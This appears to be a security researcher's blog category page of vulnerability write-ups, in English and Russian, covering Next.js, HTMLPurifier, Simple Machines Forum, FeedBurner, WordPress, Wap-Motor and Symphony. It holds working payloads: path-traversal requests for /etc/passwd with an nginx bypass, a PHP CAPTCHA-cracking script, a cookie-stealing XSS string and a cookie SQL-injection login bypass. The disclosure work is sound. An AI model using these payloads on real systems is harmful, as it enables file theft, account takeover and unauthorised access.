Category: Vulnerabilities

  • Arbitrary File Reading in Next.js < 2.4.1

    Next.js is a quite popular (>13k stars on GitHub) framework for server-rendered React applications. It includes a NodeJS server which allows to render HTML pages dynamically. While digging into server’s code, a list of internal routes drew my attention:

    defineRoutes() {
        const routes = {
          /* ... */
          '/_next/:path+': async(req, res, params) => {
            const p = join(__dirname, '..', 'client', ...(params.path || []))
            await this.serveStatic(req, res, p)
          },
          '/static/:path+': async(req, res, params) => {
            const p = join(this.dir, 'static', ...(params.path || []))
            await this.serveStatic(req, res, p)
          }
          /* ... */
        }
    

    As you can see you can pass arbitrary path into serveStatic() function via /_next/ and /static/ endpoints:

    export function serveStatic(req, res, path) {
      return new Promise((resolve, reject) =>; {
        send(req, path)
          .on('directory', () =>; {
            // We don't allow directories to be read.
            const err = new Error('No directory access')
            err.code = 'ENOENT'
            reject(err)
          })
          .on('error', reject)
          .pipe(res)
          .on('finish', resolve)
      })
    }
    

    This function just pipes the contents of files into the output without any validation or restrictions. So, we can try to perform a path traversal:

    GET /_next/../../../../../../../../../etc/passwd HTTP/1.1

    And it works! However, NodeJS application servers are usually deployed behind nginx. Due to path normalization in nginx we cannot just use forward slashes and dots, nginx will return a Bad Request error code. Luckily, NodeJS server transforms backslashes into forward slashes, so we can bypass nginx validation.

    GET /_next\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1

    ZEIT, the company which develops Next.js, was very quick to respond and roll out the patch. Be sure to update to the latest version.

  • Hash Length Extension in HTMLPurifier

    HTMLPurifier is a PHP library that helps to protect against XSS by filtering bad HTML and only allowing harmless markup. Recently a new version of HTMLPurifier has been released that fixes a hash length extension issue that I reported some time ago.
    Hash length extension is a crypto attack against algorithms based on Merkle-Damgard construction (md5, sha1, etc) that allows to inject arbitrary characters into the signed data without knowing the secret key. A typical vulnerable piece of code looks like this:

    if hash(secret + value) == signature:

    With hash length extension we can append our data to the “value” and generate such a new signature that will satisfy the expression above. More information on this kind of attack can be found in this great article.

    One of HTMLPurifier’s filters, namely URIFilter.Munge, can rewrite links to some custom address. It has also an ability to generate signatures that will protect these links from altering. However this is done in a way prone to hash length extension:

    if ($this->secretKey) $this->replace['%t'] = sha1($this->secretKey . ':' . $string);
    

    Web applications that rely on this signature to check the links, for example in URL redirectors or before placing them in the DB, may be vulnerable (for example Invision Power Board), because arbitrary data can be appended despite unknown secret.

    Now HTMLPurifier uses secure HMAC-SHA256 to generate and verify signatures. Upgrade to 3.6.0 and be safe.

  • Simple Machines Forum <= 2.0.3 Admin Password Reset

    Simple Machines Forum is a popular web community software written in PHP. Its password reset mechanism had some issues back in 2008. The vulnerability was caused by insecure random numbers generation and was patched right after the exploit was published. This time I found a more interesting vulnerability however at Positive Technologies we didn’t manage to raise awareness of SMF developers. After continuous silence of SMF devs I am disclosing the vulnerability details but I am not going to publish the exploit.

    (more…)

  • Выполнение произвольного кода на серверах с PHP CGI

    Накануне был обнаружен, пожалуй, самый эпичный баг в истории PHP. Уязвимость позволяет атакующему выполнить произвольный код, используя лишь адресную строку браузера, на любом сервере, где PHP работает как CGI. Нашла уязвимость голландская команда Eindbazen, известная по своим выступлениям на различных CTF. Хронология событий:

    (more…)

  • Активная XSS на FeedBurner

    Feedburner.com – один из самых популярных среди блогеров сервисов для управления RSS-фидами. Доверие к feedburner вызывает тот факт, что этот сервис был приобретен Google и в настоящее время находится во владении интернет-гиганта. Тем не менее, у сервиса есть проблемы с безопасностью, в чем я недавно убедился. Просматривая статистику своего блога на feedburner.com, неожиданно получил javascript алерт с содержимым своих Cookie. Сначала я подумал, что это какие-то неаккуратные тесты разработчиков, однако, просмотрев исходный код страницы, обнаружил алерт в том месте, где выводилась информация о Referer пользователей, посетивших сайт. Видимо кто-то специально обратился к моему блогу с <script>alert(document.cookie)</script> в Referer, но не подозревая, что в статистике Feedburner этот HTTP-заголовок не фильтруется.
    feedburnerxss
    Уязвимость имеет место в статистике посещений сайта, однако для ведения этой статистики администратору необходимо установить специальный JS-код в исходник своего блога. Таким образом, XSS подвержены только те пользователи сервиса, у которых данная опция включена.
    feedburner
    Пока уязвимость не устранили, рекомендую блогерам снять на время галку с этого пункта. Учитывая, что это возможно неединственная уязвимость на фидбернере, также советую воспользоваться плагином NoScript для Firefox.

  • SQL Column Truncation в WordPress

    Вот и появился первый эксплоит для уязвимости SQL Column Truncation, о чем не так давно писал Стефан Эссер, специалист, обнаруживший данную уязвимость. Причем дыра найдена не в каком-нибудь малоизвестном движке, а в WordPress! Тем не менее повода для паники нет, так как уязвимость некритична: все что удастся нападающему – это сменить пароль администратору, но узнать его не получится. Кроме того, на атакуемом блоге должна быть включена опция регистрации пользователей.

    PoC: http://milw0rm.com/exploits/6397

    Также читайте мою статью, посвященную SQL Column Truncation.

  • Уязвимости в Simple Machines Forum <= 1.1.5

    Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье.

    Сброс пароля администратора

    SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме восстановления пароля (hidden параметр sc):

    <?php
    $_SESSION['rand_code'] = md5(session_id() . rand());
    $sc = $_SESSION['rand_code'];
    ?>

    Активационный ключ генерируется следующим образом:

    <?php
    $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
    ?>

    Так как максимальное значение случайного числа на win32 является 32767 и идентификатор сессии известен, то перебором md5-хэша можно получить случайное число. В win32 любое число, сгенерированное с помощью rand(), становится сидом для следующего числа, таким образом можно предугадать все последующие числа и вычислить активационный ключ.

    http://milw0rm.com/exploits/6392

    Вычисление кода CAPTCHA

    SMF выявляет случайное число в модуле регистрации (ссылки на изображения с кодом CAPTCHA):

    <?php
    $context['verificiation_image_href'] = $scripturl . '?action=verificationcode;rand=' . md5(rand());
    ?>

    Сам код CAPTCHA генерируется следующим образом:

    <?php
    $character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
    // Generate a new code.
    $_SESSION['visual_verification_code'] = '';
    for ($i = 0; $i < 5; $i++)
    $_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
    ?>

    Функция array_rand() использует внутренний вызов rand(), поэтому определив перебором предыдущее случайное число в ссылках, можно вычислить сам код (опять-таки актуально только для win32).

    <?php
    
    /**
     * Simple Machines Forum <= 1.1.5 CAPTCHA cracker (win32)
     * by Raz0r (http://Raz0r.name/)
     */
    
    $url = "http://localhost/smf/";
    
    $html = file_get_contents("{$url}index.php?action=register");
    $out=array();
    preg_match("@rand=([0-9a-f]+)@i",$html,$out);
    if(isset($out[1])){
    	$rand = bfmd5($out[1]);
    	srand($rand);
    	$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
    	for ($i = 0; $i < 5; $i++) {
    		echo $character_range[array_rand($character_range)];
    	}
    }
    
    function bfmd5($md5) {
    	for($i=0;$i<=32767;$i++){
    		if($md5 == md5($i)) {
    			return $i;
    		}
    	}
    	return false;
    }
    ?>
  • К чему может привести усечение данных в SQL

    Совсем недавно известный эксперт по безопасности Стефан Эссер (Stefan Esser) опубликовал в своем блоге статью, посвященную новой уязвимости, связанной с особенностями сравнения строк и автоматического усечения данных в MySQL. Именно Стефан обнаружил знаменитую дыру zend_hash_del_key_or_index, после чего в Сети появилось множество эксплоитов для популярных веб-приложений. Похоже в этот раз дело грозит обернуться теми же последствиями.

    (more…)

  • LFI/RFI-уязвимости в Wap-Motor 17.5

    Сайт разработчика: http://visavi.net/
    Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии

    Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:

    <?php
    extract($HTTP_GET_VARS);
    extract($HTTP_POST_VARS);
    extract($HTTP_COOKIE_VARS);
    extract($HTTP_SERVER_VARS);
    extract($HTTP_SESSION_VARS);
    ?>

    На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):

    <?php
    if(empty($f)){$f='index';}
    echo $p.'/'.$f.'.'.$config_ras;
    $sfx = file($p.'/'.$f.'.'.$config_ras);
    if (!$sfx){
    	echo 'Файл с данными параметрами не найден!';
    }else{
    	include_once $p.'/'.$f.'.'.$config_ras;
    }
    ?>

    Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):

    <?php
    if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
    ?>

    При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include. (more…)

  • Обход авторизации в Symphony 2 Beta

    Сайт разработчика: http://21degrees.com.au/
    Уязвимые версии: Symphony 2 Beta до revision 5
    Уязвимый код в /symphony/lib/core/class.symphony.php@126-142:

    <?php
    public function isLoggedIn(){
      $un = $this->Cookie->get('username');
      $pw = $this->Cookie->get('pass');
      $id = $this->Database->fetchVar('id', 0, "SELECT `id` FROM `tbl_authors`
        WHERE `username` = '$un' AND `password` = '$pw' LIMIT 1");
      if($id){
        /* [...] */
      }
    /* [...] */
    }
    ?>

    Описание: данные в переменных $un (username) и $pw (password) не проверяются должным образом перед извлечением из массива $_COOKIE, что ведет к SQL-инъекции, позволяющей обойти авторизацию пользователей и получить права администратора. Для удачного осуществления атаки magic_quotes_gpc=off не требуется, так как система убирает все дополнительные слэши сама.
    Эксплоит: sym-[username]=%27+OR+1%3D1%2F%2A (необходимо передать в cookie)